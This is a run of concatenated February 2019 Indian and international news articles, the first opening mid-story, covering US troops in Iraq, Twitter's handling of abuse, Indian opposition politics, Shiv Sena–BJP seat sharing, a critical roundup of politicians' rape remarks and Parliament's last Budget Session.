That decision was opposed by top aides, including Defence Secretary Jim Mattis, who quit, leaving his deputy Shanahan in charge of the Pentagon.

Shanahan met with U.S. military commanders while in Iraq to get an update on the fight against Islamic State. U.S.-backed fighters have mounted an attack against Islamic State's last bastion in eastern Syria.

U.S. officials have long estimated that the Syria pullout could take until sometime in March or April to execute fully, but have been reluctant to set an exact timeline given hard-to-predict battlefield conditions.

Islamic State was declared defeated in Iraq in 2017, but continues to wage small-scale insurgent attacks in some areas.

(Reporting by Idrees Ali; Additional reporting by Muayad Hameed; Editing by John Stonestreet and Peter Graff)

This story has not been edited by Firstpost staff and is generated by auto-feed.Acting Pentagon chief Patrick Shanahan made an unannounced visit to the Iraqi capital for talks on the sensitive issue of a continued US troop presence after Washington withdraws from neighbouring Syria.

Baghdad: Acting Pentagon chief Patrick Shanahan made an unannounced visit to the Iraqi capital for talks on the sensitive issue of a continued US troop presence after Washington withdraws from neighbouring Syria.

Shanahan is keen to reassure Iraqi leaders after President Donald Trump angered many by saying he wanted to maintain some troops at the Al-Asad airbase, northwest of Baghdad, to keep an eye on Iran.

The acting defence secretary, who flew in Tuesday from Afghanistan on his first foreign tour since taking office last month, held talks with Prime Minister Adel Abdel Mahdi and top military advisers, as well as Lieutenant General Paul LaCamera, the commander of anti-IS coalition forces.

His meeting with Iraq's premier had "a very good energy", Shanahan told the press after arriving in Brussels where he is set to attend a NATO summit.

"I made very clear that we recognise their sovereignty, their focus on independence and that we are there at the invitation of the government," he added.

Asked whether they had touched on the possibility of US troops in Iraq deploying across the border into Syria for operations against the Islamic State group, Shanahan said: "It just did not come up."

The two spoke about Iran "indirectly... in the context of Iraq's independence", he said, adding that Abdel Mehdi had stressed the need for Baghdad to maintain good relations with both its neighbours and the US.

A senior Pentagon official had earlier told journalists travelling with Shanahan that Washington's "main partnership and military activity in Iraq is the de-ISIS (IS) mission".

Washington was also pressing its allies to repatriate their nationals captured and taken prisoner during the fight against IS in Iraq and Syria, the official said.

"We think coalition members need to take responsibility for their citizens who are fighters. It's been a message we've delivered time and time again. And we are seeing hopeful progress," he said.

Trump's comments about Iran, in an interview with CBS television aired on 3 February, drew a stern rebuff from President Barham Saleh, who said the use of Iraq as a base against a third country violated its Constitution.

They also sparked renewed calls for a US withdrawal both from pro-Iran factions within the government and from Iran-trained armed groups whose power has risen sharply during the fightback against IS jihadists that culminated in December 2017.

Those calls are likely to intensify as Washington carries out the full troop withdrawal from Syria unveiled in a shock announcement by Trump in December.

The plan, judged hasty by both US allies and senior figures within Trump's own administration, prompted the resignation of Shanahan's predecessor, Jim Mattis.

But with US-backed Kurdish-led fighters poised to overrun IS's last sliver of territory in eastern Syria perhaps as early as this week, the withdrawal, which other administration figures had managed to slow, is now likely to gather pace.

Trump's comments about the Al-Asad airbase came after the US president had already angered Iraqi leaders in December by paying a Christmas visit to US troops based there without travelling to Baghdad to speak with officials.

"We spent a fortune on building this incredible base. We might as well keep it," Trump said in the CBS interview.

"One of the reasons I want to keep it is because I want to be looking a little bit at Iran because Iran is a real problem," he added.

A draft law that would set a timetable for a US troop withdrawal is now before the Iraqi parliament.

It is backed by both of Iraq's most powerful political groupings -- the nationalist alliance led by firebrand Shiite cleric Moqtada Sadr, and the pro-Iran movement of former anti-IS fighters.

At a rare joint news conference on Monday, the two groupings demanded at the very least a "new agreement" setting tight conditions on any future foreign troop presence.

Following the US-led invasion that overthrew since-executed dictator Saddam Hussein in 2003, US troop numbers peaked at some 170,000 before a full withdrawal was completed in 2011.

Troops returned to Iraq in 2014 as part of an international coalition set up to fight IS after it swept through much of the north and west as well as swathes of neighbouring Syria that year.Reuters

Twitter Inc Chief Executive Jack Dorsey says that Silicon Valley companies, including his own, have not done enough to protect victims of online abuse, calling it a huge fail.

Interviewed via Twitter by Kara Swisher, co-founder of the tech news site Recode, Dorsey tweeted that he would give himself a C grade for what Swisher termed tech responsibility.

Weve made progress, but it has been scattered and not felt enough, he tweeted in response to Swishers questions. Changing the experience hasnt been meaningful enough. And weve put most of the burden on the victims of abuse (thats a huge fail).

Myself? C. Weve made progress, but it has been scattered and not felt enough. Changing the experience hasnt been meaningful enough. And weve put most of the burden on the victims of abuse (thats a huge fail). #Karajack  jack (@jack) February 12, 2019

Twitter, along with online social media network Facebook Inc, has faced criticism for abusive posts, fake users and inaccurate news stories on its service. The company has been investing heavily to improve what Dorsey has described as the collective health of Twitter.

Ok trying AGAIN @jack in another new thread! This one about @realDonaldTrump #KaraJack: We know a lot more about what Donald Trump thinks because of Twitter, and we all have mixed feelings about that.  Kara Swisher (@karaswisher) February 12, 2019

I dont believe our service or business is dependent on any one account or person. I will say the number of politics conversations has significantly increased because of it, but thats just one experience on Twitter. There are multiple Twitters, all based on who you follow.  jack (@jack) February 12, 2019

Dorsey said on Tuesday he does not like how Twitter tends to incentivise outrage, short-term thinking, echo chambers, and fragmented conversations, and that the lack of diversity in the company has not helped in combating such problems.

He said Twitters work against automations and coordinated campaigns, along with its collaboration with various government agencies, has left it in a better position to combat the threat of misinformation for the 2020 US presidential elections.

This whole #KaraJack thread is a perfect example of both the potential and current flaws with conversation on Twitter. This is exactly why "making Twitter more conversational" is one of our top initiatives. https://t.co/TRYxIV25Ko  Kayvon Beykpour (@kayvz) February 13, 2019

Youre doing great, @karaswisher, but this #karajack interview format is a living example of how Twitter is a chaotic hellpit. @jack #KaraJack  Walt Mossberg (@waltmossberg) February 12, 2019

US intelligence agencies have concluded that Russia used social media during the 2016 US elections to sway voters. Moscow denies that charge.tech2 News Staff

The AirPods are long overdue for an upgrade and recent news and rumours have suggested that Apple might give us the new AirPods this year. It will reportedly not be on the 25 March event Apple is hosting, but it could be soon after that. New reports have surfaced which detail what we can expect of the AirPods 2 and also the AirPower wireless charging mat.

It had already been reported that 2019 AirPods might use a new grip-inclined coating and come with enhanced audio quality. There will also be two colours including white and black, and will supposedly feature roughly the same battery life as the original Airpods.

iPhone Hellas, a Greek-language blog has said that the AirPods 2 might be released on 29 March with a pre-order on 22 March. There has been no other report to substantiate these claims. A report by BGR has pointed that Spring is the most likely time when the AirPods 2 might be announced and this was backed up by Buzzfeed's report as well.

The AirPods 2 are said to cost about $200, which is about $50 more than the current generation of AirPods. The report also states that the AirPods 2 could come with an advanced Bluetooth chip.

The AirPower wireless charging pad, introduced by Apple in 2017, will also be seeing the light of day soon, at Spring this year. The report states that the AirPower Mat will likely be thicker than when it was first unveiled because of an "8-7-7 coil" setup which is said to give a faster-charging speed for all the devices that are kept on it.This comes a day after the panel summoned Twitter chief executive Jack Dorsey.

Indian activists have petitioned a parliamentary panel to summon the heads of US tech firms including Facebook and Alphabet Incs Google and question them on issues ranging from tax compliance to data privacy.

The petition, sent by a group that previously dragged WhatsApp to court and a right-wing political activist, comes a day after the panel summoned Twitter chief Jack Dorsey to discuss ways to safeguard citizens rights on social media and online platforms.

Social media companies are coming under increased scrutiny in India ahead of elections due before May in which Prime Minister Narendra Modi is seeking another term. Some firms are overhauling policies to curb misinformation ahead of the vote.

In a letter to Anurag Thakur, the chair of the parliamentary panel on information technology (IT), the New Delhi-based Centre For Accountability And Systemic Change (CASC) and right-wing activist KN Govindacharya say the global heads of Facebook, its messenger WhatsApp, its photo-sharing platform Instagram, along with the chiefs of Twitter and Google, should all be summoned to answer queries on tax and other issues.

Were calling everyone. But we have to start with someone, said Thakur, when asked about whether the panel he leads would also summon the heads of other online giants.

In the past we called everyone on net neutrality... On this subject also of safeguarding citizens rights and privacy well call everyone concerned. Of course, we have to call those people who are authorised to take decisions and who head organisations.

Facebook, WhatsApp, Instagram and Google did not immediately respond to requests for comment. Twitter declined to comment.

CASC describes itself as a think-tank that takes up public interest issues. Govindacharya is a former member of a Hindu nationalist group that is the ideological parent of Modis Bharatiya Janata Party.

They have asked the IT panel to seek from social media firms a status report on the transfer of sensitive personal data of millions of Indians, according to a copy of the letter seen by Reuters.

CASC has previously taken WhatsApp to court, accusing the messaging platform of not complying with Indias IT laws and not having a local grievance officer.

The Indian IT Act mandates that intermediaries or carriers of content such as WhatsApp, appoint a Grievance Officer to handle any queries, concerns or issues that users of the platform may have that do not come under the purview of other authorities.

WhatsApp has previously said it has both an Indian corporate entity and a grievance officer for Indian users.Many tongue-in-cheek posters have popped up in the Central Delhi ahead of West Bengal chief minister Mamata Banerjees arrival in the national capital on Wednesday.

New Delhi: "Welcome to Delhi, where democracy is alive and kicking, Didi", reads one of the many tongue-in-cheek posters that have popped up in the Central Delhi ahead of West Bengal chief minister Mamata Banerjees arrival in the national capital on Wednesday.

Put up by an organisation known as Youth For Democracy, a number of posters have been installed at many places of the city, taking a jibe at Banerjee ahead of her participation in the opposition protest at Jantar Mantar.

The posters have caricatures of the West Bengal chief minister along with different captions aimed at taking a dig at Banerjee for different political developments in her state in the recent past.

Large numbers of such banners have been installed at major areas of Jantar Mantar road, Bang Bhawan (Hally Road) and Windsor Palace Circle Area.

"Didi, no one is going to prevent you from addressing people here," reads the caption of another poster.

Mamata Banerjee is in the national capital on Wednesday to join opposition protests in the city.

Along with Banerjee, Andhra Pradesh chief minister Chandrababu Naidu and Delhi chief minister Arvind Kejriwal are also expected to take part in the opposition protest.Politicians and ministers often make callous statements on rape and drawn the anger of the public at large. Karnataka Assembly Speaker KR Ramesh Kumar is not the first to make such remarks in poor taste.

Insensitivity towards rape and rape survivors may not be new, although one has higher expectations of leaders and those in positions of power.

The latest gem is by Karnataka Assembly Speaker KR Ramesh Kumar, who said he felt like a rape survivor in the House on Tuesday. Why? Not because he was actually raped, but because he was questioned in connection with a controversy that could implicate him in a bribery case.

He made the statement in reference to the controversial audio tapes in which Karnataka BJP chief BS Yeddyurappa can purportedly be heard trying to poach a JD(S) MLA to bring down the Congress-JD(S) government. After his name was dragged into the controversy, Kumar said his "situation was like that of a rape victim, as they too are supposedly questioned about the incident repeatedly".

Politicians and ministers have often made such callous statements on rape and drawn the anger of the public at large. Here's a list of some of these remarks made in poor taste:

'Victim as guilty as her rapists'

"Only five to six people are not the culprits. The victim is as guilty as her rapists. She should have called the culprits brothers and begged before them to stop. This could have saved her dignity and life. Can one hand clap? I don't think so. Had she recited the Saraswati Mantra, she would not have boarded any bus after watching a movie with her boyfriend."

These were self-proclaimed godman Asaram Bapu's remarks after the horrific gangrape of a woman in Delhi in December 2012. Asaram was convicted of rape himself about a year later.

'Boys will be boys, they commit mistakes'

This gem was by Samajwadi Party founder Mulayam Singh Yadav. In April 2014, while opposing the death penalty awarded to three men for gangrape, he had said: "Boys will be boys; they commit mistakes". He had also accused girls of getting "friendly with boys and when they fight and have differences, they term it as rape".

He didn't stop there. Mulayam Singh even said that it was "not possible for four men to rape a woman". "I know of many such cases, where one person commits the rape and four people are named in the report," he had said.

'Two men doesn't mean a gangrape'

KJ George, who was the Karnataka home minister in 2015, had said that a rape by two men could not be considered a gangrape, drawing criticism and anger.

'Rapes on the rise because of population explosion'

In 2013, West Bengal chief minister Mamata Banerjee had said that the rising number of rape cases was connected to increasing population. "You say rape incidents are on the rise. But the population is also swelling. Is the population in the state the same as it was during the tenure of (the state's second chief minister) BC Roy?" she had said.

'Rapes happen in India, not Bharat'

In 2013, RSS chief Mohan Bhagwat had said rapes are an "urban crime caused by westernisation" and do not happen in rural India. "Crimes against women happening in urban India are shameful. It is a dangerous trend. But such crimes won't happen in 'Bharat', or the rural areas of the country. You go to villages and forests of the country, and there will be no such incidents of gangrape or sex crimes."

'Ninety percent rapes are consensual sex gone wrong'

In 2012, Congress spokesperson Dharambir Goyat had blamed women for the rising cases of rapes in Haryana and said: "I don't feel any hesitation in saying that 90 percent of the girls want to have sex intentionally, but they don't know they will be gang-raped further as they find some lusty and pervasive people on the way ahead."

He had said the statement the same month when Haryana had reported 17 gangrapes.

'Misunderstanding between two parties'

The gangrape of a woman at Kolkata's Park Street, and the subsequent remarks made by politicians drew even more anger as city leaders were in complete denial about the crime. Trinamool Congress leader Kakoli Ghosh Dastidar had dismissed the gangrape entirely and said it was not a rape case to begin with.

"If you're referring to the Park Street rape, that is a different case altogether. That was not at all a rape case. It was a misunderstanding between the two parties involved  between a lady and her client. This was not a rape," she had said.Former Congress chief and UPA chairperson Sonia Gandhi said on Wednesday that the values, principles and provisions of the Constitution are under continued attack from the Narendra Modi government

UPA chairperson Sonia Gandhi on Wednesday said the values, principles and provisions of the Constitution are under continued attacks by the Narendra Modi government. She made the statement at a joint meeting of the Lok Sabha and Rajya Sabha Congress Parliamentary Party in New Delhi.

"Institutions have been subverted. Political opponents have been hounded. Dissent has been suppressed. Freedom of speech, the most basic of all freedoms, has been sought to be curtailed and silenced."

UPA Chairperson Smt. Sonia Gandhi's full speech from the joint meeting of the Lok Sabha & Rajya Sabha CPP in Parliament earlier today. pic.twitter.com/vwlMvYqKHC  Congress (@INCIndia) February 13, 2019

"There is an all-pervasive atmosphere of fear and strife across the country," she added, citing examples of the North East, "alienation" of Jammu and Kashmir and the attacks on Dalits, tribals and minorities.

Sonia also individually thanked members of the Congress, including Mallikarjun Kharge  "for his contributions as the Leader of the Congress in the Lok Sabha"  Ghulam Nabi Azad and Anand Sharma, who have worked as both leader and deputy leader of Opposition for the Congress, respectively, in the Rajya Sabha.

Lauding her son Rahul, Sonia credited him with bringing "fresh energy" into the party. "He has worked tirelessly. He has also reached out to other political parties who share our vision of India..." she said.

After the meeting, Rahul led a protest against the Modi government at the Parliament premises. Sonia and former prime minister Manmohan Singh were also present at the protest.

Believed to have been seriously ill for a long time, Sonia has largely remained off the political spotlight of late. But she was recently seen in Lok Sabha, thumping tables in appreciation of Road Transport and Highways Minister Nitin Gadkari for the "wonderful" work he has been doing to improve the country's infrastructure.The app is and will always be free for download, he said. Monetizing the app is stage two, but the company is not there yet and the venture capitalists bankrolling it are all OK with this plan, he said. He would not say how much funding has been invested into the app to date, or how the company plans to monetize the app in the future. He did say, however, that the company will never share user data with outside parties.Justifying Sanjay Raut's meeting with Chandrababu Naidu, the Shiv Sena, in an editorial in party mouthpiece Saamana, said the leader visited Andhra Pradesh chief minister as a 'courtesy' because his state has been split into two.

Mumbai: The Shiv Sena on Wednesday said its leader Sanjay Raut's visit to Andhra Pradesh chief minister N Chandrababu Naidu during his fast in Delhi was merely a courtesy call, and criticised the BJP over the handling of its allies.

The Uddhav Thackeray-led party also asked what was the guarantee that the BJP will not reach out to its former ally, the Naidu-led TDP, in case it falls short of numbers to form the government after the Lok Sabha elections. "What is the guarantee that if required, senior BJP leaders will not knock at the doors of Naidu for his support to form the government after the Lok Sabha polls?"

Senior Sena leader and Rajya Sabha member Sanjay Raut had on Monday made a surprise appearance at Naidu's day-long protest over demand for special status for Andhra Pradesh, saying he came to attend the event as a representative of his party, which shares strained relations with senior ally BJP.

Justifying Raut's meeting with Naidu, the Sena, in an editorial in party mouthpiece Saamana, said the leader visited Andhra Pradesh chief minister as a "courtesy" because his state has been split into two. "We are also against splitting of states. But our visit has been seen as if the sky has fallen upon the government," it said.

Naidu was a "great leader" till the time he was with the NDA and now he is suddenly "untouchable", it quipped.

Recalling the BJP's alliance with PDP in Jammu and Kashmir, it said the Mehbooba Mufti-led party's Rajya Sabha member Fayaz Ahmad Mir has demanded that the mortal remains of Parliament attack convict Afzal Guru and Maqbool Bhat, founder of the separatist Jammu and Kashmir Liberation Front (JKLF), be returned.

Both were buried at the Tihar jail in Delhi. Bhat was hanged in Tihar on 11 February, 1984 following his conviction in the killing of an intelligence official while Guru was hanged on 9 February, 2013.

"This demand is preposterous. But it is the same PDP with which the BJP had shared power in Jammu and Kashmir. During that time, the state saw maximum bloodshed, several attacks took place and some were even rewarded despite having terror links," the Sena claimed.

Nobody had any issue then, but the Sena paying a courtesy visit to the TDP is severely criticised, the Marathi daily said, without naming anyone. "We understand the difference between the PDP and the TDP better," it said.

The Sena, which is an ally of the BJP at the Centre and in Maharashtra, claimed the activities of Mehbooba Mufti's party are "pro-Pakistan" and demanded that it be considered as "anti-national".

"Though the Sena has taken a radical stance on Hindutva, we do not consider those as enemies who have a different view than ours. But, AIMIM spewing out venom is an anti-national activity," it opined.The Shiv Sena has demanded that the Bharatiya Janata Party share seats with it according to the formula the two parties in 1995 but now that the BJP has 122 seats in the Maharashtra Assembly and the support of 16 other MLAs, it is unlikely to bend to this demand.

The Shiv Sena, reports say, has demanded that the Bharatiya Janata Party share seats with it according to the formula the two parties followed over two decades ago, in 1995. In that year, the Sena had contested 171 seats  60 percent of the total 288  while the BJP contested 117 seats. Times have changed. Now the BJP has 122 seats in the Maharashtra Assembly and the support of 16 other MLAs, making the Sena's demand an outrageous one that the ruling party is unlikely to bend to.

BJP president Amit Shah had on Monday reportedly called Sena chief Uddhav Thackeray to finalise a seat-sharing agreement before the Lok Sabha polls. The BJP had reportedly offered Shiv Sena a 50-50 seat-sharing formula with an additional Rajya Sabha seat. But the Sena did not agree to it.

What the numbers say

In 1995, the combined forces of the BJP and Sena had secured a total of 138 seats  the Sena, 73, and the BJP, 65  and formed their first coalition government in the state, headed by Manohar Joshi of the Sena and supported by Independents and others. The Sena contested almost 60 percent of the seats while the BJP settled for 40 percent.

Since then, there have been four elections to the Maharashtra Assembly. In the 1999 polls, the Sena-BJP alliance won 125 out of 288 and lost to the Congress-National Congress Party alliance, which won 133.

In 2004, Sena won 62 and BJP won 54 seats. But this was not enough for the alliance to secure a victory.

In 2009, the BJP won 46 and the Sena won only 45, losing to the Congress and NCP's Democratic Front once again.

From 73 to 45, the Sena saw a slow slide of its seat numbers during the time when it was an ally of the BJP, which led to its relationship with the party growing increasingly fraught as the time came for the 2014 election.

Of the 288 seats in 2014, which the Sena and BJP had contested all 288 seats separately, the BJP won 122 and the Sena won 63. The BJP's Devendra Fadnavis became chief minister. Numerically, the BJP has little reason to agree to the 60-40 model, with its clear 42 percent majority now.

Why did the Sena demand the 1995 model?

The Sena has also been stressing that it will also claim the post of the chief minister once the alliance comes to power. The demand for a Sena chief minister is notwithstanding the number of seats the party eventually manages to win.

While the Sena may ultimately settle for 50 percent of the seats, it remains in a perennially taut understanding with the BJP. Within this understanding, the Sena is the natural big brother who, it is almost a given, will impose situations and make extravagant demands off the BJP.

While the two parties unite on public stages, like at the rituals preceding the start of construction on the Bal Thackeray memorial in Mumbai which saw Uddhav Thackeray and Devendra Fadnavis shake hands, the Sena's editorial columns on its mouthpiece Saamana are almost exclusively devoted to slamming the BJP and its government at the Centre over its inability on several counts. Issues on which the Sena has recently criticised the BJP range from the party's delay in constructing a Ram temple to the worsening law and order situation in Jammu and Kashmir and from BJP's censure of former JNU Students Union president Kanhaiya Kumar to even the Rafale row.

The Sena has never been one to maintain equanimity in the face of disagreements. So while Shah might have made the call to Uddhav as we was keen on stitching a deal ahead of the Lok Sabha polls, the Sena chief may have been determined to negotiate for a package that involves both, reported The Indian Express. While Shiv Sena has contested in states as far away from Maharashtra as Odisha, it has never enjoyed even a fraction of its popularity and electoral success in any other state, leading it to naturally train its entire focus on Maharashtra.

Interestingly, a political expert told Times of India that the Sena had, a year ago, passed a resolution in its national executive committee meeting saying it would go solo in all polls in the future. The party, which has not made any announcement adhering to its stand, may just be hoping to fight the polls alone. A protracted snub by the BJP may be just what the Sena is hoping for to fire its workers into a poll frenzy and garner the support of its core electorate in Maharashtra.

Why would the BJP agree to the Sena's demand?

Sena leader Sanjay Raut told The Times of India, "They (BJP) can rule in New Delhi, it will be the Sena that will call the shots in Maharashtra." Herein, lies the BJP's only reason to consider the party's demands.

Maharashtra is a key state for the BJP in its campaign for re-election in 2019, notes a blog post by TK Arun on The Economic Times. While south India remains an area of darkness for the BJP, BS Yeddyurappa's audiotaped lure of the Janata Dal (Secular) MLA has not been paying the party dividends. Meanwhile, the North East remains in turmoil over the Citizenship (Amendment) Bill which was brought to the Parliament by the BJP. In several states to the north and northwestern parts of the country, the BJP has either lost recent Assembly elections or is on shaky ground in spite of being in charge of state governments.

While the Sena's price is indeed too high, one in the BJP's position would well be willing to pay it to retain control of an integral state that can guarantee it 48 seats in the upcoming 2019 Lok Sabha election.Rahul told reporters after the meeting, hosted by NCP president Sharad Pawar at his residence, that Opposition leaders have agreed to have a common minimum programme. 'We will work together to defeat the BJP,' he said.

New Delhi: Top Opposition leaders held a meeting on Wednesday, during which Congress president Rahul Gandhi and AAP's Arvind Kejriwal were seen together for the first time, and decided to work together with a common minimum programme to fight against the BJP-led NDA in the Lok Sabha polls.

Rahul told reporters after the meeting, hosted by NCP president Sharad Pawar at his residence, that Opposition leaders have agreed to have a common minimum programme. "We will work together to defeat the BJP," he said.

Kejriwal termed the talks constructive and said the Opposition will work together. The meeting indicates that the Congress and the Aam Aadmi Party, who have been bitter rivals since the regional party came to power in Delhi in 2015, may forge a tie-up.

Trinamool Congress president and West Bengal chief minister Mamata Banerjee called the meeting "fruitful" and asserted that "we will do pre-poll alliance".

Telugu Desam Party head and Andhra Pradesh chief minister N Chandrababu Naidu said there is a democratic compulsion to save India while Farooq Abdullah of the National Conferences termed the meeting "good".In many ways, Priyanka typifies popular ideas of Brahmin-ness. She is tall, fair and has sharp features. In an inherently racist North India, forever conflicted about dark complexion, Priyanka is the physical embodiment of the ideal Brahmin

Priyanka Gandhi has always been deemed a charismatic personality, but extraordinary attributes are irrelevant if the personality does not garner votes. The 2019 Lok Sabha election results from Uttar Pradesh will provide evidence whether people beyond those who are Congress supporters also perceive Priyanka as charismatic. For long, Congress workers have wished that Priyanka lead them in the electorally crucial Uttar Pradesh. Priyanka's charisma, they presume, will lure back the millions who stopped voting the Congress over the last three decades.

Priyanka's charisma has not been electorally-tested  she has, for instance, never spearheaded an election campaign beyond the family boroughs of Amethi and Raebareli. Nor does she boast of accomplishments outside politics. Nevertheless, she is considered charismatic because she is said to have inherited it from her illustrious family. This has many see Indira Gandhi in Priyanka. It kindles in them the hope that Priyanka can re-establish Congress domination as was under Indira.

It is possible to identify other sources of Priyanka's charisma. A clutch of women leaders have dominated politics in India's neighbourhood because of their links to dynasties. Think Chandrika Bandaranaike Kumaratunga, Benazir Bhutto, Sheikh Hasina Wajed, Khaleda Zia, Aung San Suu Kyi, and Sonia Gandhi.

A feature common to all these women leaders is that their fathers or husbands were assassinated, sociologist Robi Chakravorti pointed out when Sonia entered electoral politics in 1999. In an article published in the Economic and Political Weekly, Chakravorti wrote, "One can argue that part of their appeal on the popular mind stems from the inherited aura of connection with famous, powerful relatives and the sufferings they underwent. One can describe this phenomenon as dynastic charisma."

The Congress harps on the assassination of Indira and Rajiv Gandhi to ensure that dynastic charisma is not devalued. It is a reminder what Gandhis endured for the nation. It subtly fuses the idea of nationhood with the charisma of the Gandhis. For Rahul and Priyanka, the suffering was twice over  their grandmother and father died in their childhood.

Dynastic charisma is ascriptive. A person acquires it because of his or her birth. It is inherited, not acquired, as is so true of caste status. A person cannot acquire caste. He or she is born into it. Just as the idea of nationhood is fused with the charisma of the Gandhis, so is caste. Over the last four years, the Congress has consciously identified Rahul as a Brahmin who wears jenau or sacred thread. The charisma of the Gandhis has a Brahminical foundation.

In many ways, Priyanka typifies popular ideas of Brahmin-ness. She is tall, fair and has sharp features. In an inherently racist North India, forever conflicted about dark complexion, Priyanka is the physical embodiment of the ideal Brahmin. She reflects the self-conscious superiority of Brahmins, not least because of her flamboyant style and repartee.

It is for this reason that the Congress believes Brahmins will identify with her as they did with Indira Gandhi. The spin on the similarity between Priyanka and Indira is a subtle manipulation of the popular consciousness. Priyanka is a reminder to Brahmins about the unchallenged hegemony they enjoyed decades ago.

Priyanka is also the Brahmins' best bet to thwart the challenge from below. This is because only an Indira look-alike in the Nehru-Gandhi family can deploy her charisma to bridge the caste and religious chasms. In other words, it is not the Bharatiya Janata Party, but Priyanka who, like Indira, could garner the affection and votes of lower castes and Muslims. Priyanka is a tempting invitation to Brahmins to return to the Congress to reclaim their traditional leadership of the society.

But Priyanka's charm will also encounter challenges from other forms of dynastic charisma. Over the last four decades, the non-upper castes too have spawned their own dynasties. The patriarchs of these dynasties symbolise the aspirations and struggles of the backward castes and Dalits. They may gawk at Priyanka, but they will also view her charisma as an attempt to erode the gains they have made.

In the last few years, non-upper caste dynasties, in the manner of the Gandhis, are also witnessing dynastic succession. In Uttar Pradesh, Akhilesh Yadav has taken over from his father, Mulayam Singh Yadav. Like Priyanka, he too has inherited dynastic charisma, which he tried to widen by distributing computers and building highways. These were signifiers of his caste-neutral development policy.

Yet Akhilesh was trumped in the 2018 Assembly elections. He has now taken to saying that "they" have made him understand that he is a backward caste. Akhilesh has chosen to root his charisma in the backward castes. Just as India's polity has become increasingly fragmented, so has charisma. Priyanka's Brahminical, dynastic charisma will, at best, have a limited appeal for the backward castes.

Different categories of castes love the dynasty they spawn. Take Bihar, where Tejashwi Yadav has taken over from the irrepressible Lalu Prasad Yadav. Just as Priyanka is perceived to have suffered on account of violent deaths in the family, there is sympathy for Tejashwi as his sick father languishes in prison. Lalu acquired charisma because he symbolised the pride, self-respect and assertion of subaltern groups. Tejashwi is now building upon it, evident from his demand for 90% reservation in government jobs.

Likewise, Chirag Paswan will inherit the dynastic charisma from his father, Ram Vilas Paswan, who has an appeal for a large segment of Dalits in Bihar. Even outside Bihar, different castes have their own destinies and their scions acquire dynastic charisma. They will deploy it to counter Priyanka's should she seek to weaken them. Who will the people of Odisha back - Naveen Patnaik or Priyanka, both Brahmins? Patnaik, like Priyanka, has inherited dynastic charisma. He then fused it with Odisha pride.

Priyanka will also face challenges from those who have acquired charisma, not inherited it. Into this league place leaders such as Narendra Modi, Mayawati, Arvind Kejriwal, Mamata Banerjee, KC Rao, etc. As far as Uttar Pradesh goes, Priyanka's charisma will get pitted against Modi and Mayawati's.

Modi is charismatic for Hindutva followers and those segments of the middle class which look upon him as Mr. Development. Will they get swayed by Priyanka's charisma which also has a secular element? On the other hand, Mayawati is charismatic for Dalits. She embodies both their pride and aspirations. Her rise symbolises to Dalits the possibilities open to them. Die-hard supporters of the Congress once, Dalits will see Priyanka's charisma as a tool to deny them their share of power.

Priyanka could have had a bigger pull had she chosen to expand her dynastic charisma before wading into the swirling political waters of Uttar Pradesh.In his last Lok Sabha speech before the general election, Prime Minister Narendra Modi targetted Congress, while praising his government's efforts.

Prime Minister Narendra Modi's jibe at Congress, Samajwadi Party patriarch Mulayam Singh Yadav's thoughts on the prime minister, and the tabling of the Comptroller and Auditor General of India (CAG) report in Rajya Sabha marked the last day of the Budget Session in Parliament.

In his last Lok Sabha speech before the general election, Modi targeted Congress, while praising his government's efforts. Taking a dig at Congress president Rahul Gandhi, Modi said that there had been no earthquake in five years of governance, referring to Rahul saying in 2016 that if he was allowed to speak in Parliament there'd be an earthquake. "Hum sunte the ki bhookamp aayega, par koi bhukamp nahi aya," he said.

Referring to allegations of corruption in Rafale deal, he said, "Big personalities tried to fly aircraft. The power of democracy is such that no aircraft could bring down this government." Referring to Rahul's hug during the no-confidence debate in July 2018, Modi said, "For the first time, I learnt the difference between 'gale milna' (hugging) and 'gale padna' (clinging)."

Modi praised senior Congress leader Mallikarjun Kharge for his contribution as an Opposition leader, and said that conversations with Kharge helped "stir my thought". Hailing women representation in Parliament, Modi said, "We will be proud of this 16th Lok Sabha, as it saw the highest number of women members elected to the House. The countrys self-confidence is at an all time high and it's is a very good sign because such confidence gives boost to development."

The prime minister called it a "good sign" that several sessions in the Lok Sabha recorded "good productivity". "This House passed laws to fight the menace of black money and corruption. This House also passed the GST Bill. We are committed to bring back those who looted India," he said.

Praising Speaker Sumitra Mahajan's leadership, Modi said eight of 17 sessions of this Lok Sabha had 100 percent productivity. The overall productivity was recorded at over 85 percent and the 16th Lok Sabha passed 203 bills out of 219 introduced, he said.

Modi said India suffered globally for long due to fractured mandates, but now it is taken seriously in the global arena because of the majority government. He also listing the various methods undertaken by the Centre to tackle global warming. "The world today is discussing the issue of global warming and India has made an effort for the formation of the International Solar Alliance to combat this problem," he said. He claimed that the highest number of satellites were launched under his government. "India has now become a launch pad," he said.

Before Modi's speech, Mulayam Singh Yadav, seated next to UPA chairperson Sonia Gandhi, said he wished to see Modi back as prime minister. "I would like to thank the prime minister for his efforts to bring everybody together for development. I wish all Lok Sabha MPs win seats to the House again and I hope that Modi becomes the prime minister again," he said. His remarks left the Opposition squirming in Lok Sabha, but were greeted by cheers from the treasury benches with the Modi acknowledging Mulayam's wish with folded hands.

Ruling alliance members heartily cheered Mulayam's with chants of "Jai Shri Ram" as he praised Modi for "making efforts to take everyone along". Modi acknowledged the Samajwadi Party's praise with folded hands and later made a mention of Mulayam's "blessings" in his speech.

Parliament approves Interim Budget

The Parliament approved the Interim Budget that gave an Income Tax rebate to those earning up to Rs 5 lakh, an annual cash dole of Rs 6,000 to small farmers and pension for unorganised sector workers. While the Lok Sabha has passed the Appropriation Bills that gave government authorisation of spending certain sums till the next government presents the full Budget for 2019-20, and the Finance Bill after full debate, the Rajya Sabha passed them without discussion on Wednesday.

The 13-day Budget Session was a washout in the Rajya Sabha as Opposition parties stalled proceedings daily over issues ranging from Rafale fighter jet deal to Citizenship Bill.

On Wednesday, a consensus was arrived at among political parties to approve the Interim Budget as also the Motion thanking the president for his address to the joint sitting of Parliament at the beginning of the session without a debate. Rajya Sabha Chairman M Venkaiah Naidu referred to the consensus in the House after it met following a 40-minute adjournment caused by a ruckus created by Samajwadi Party and TMC over different issues.

CAG report tabled in Rajya Sabha

The CAG report on capital acquisitions in the Indian Air Force, which includes details of the Rafale fighter jet deal, was tabled in Rajya Sabha on Wednesday.

While the proceedings were on in the Upper House, Rahul, Sonia and other Opposition leaders gathered on Parliament's premises and protested against the Rafale deal. Raising slogans like chowkidaar chor hai, they held paper models of the fighter aircraft with images of Modi and industrialist Anil Ambani printed on them. The report comes at a time when the BJP and the Opposition are at loggerheads over the jet deal.

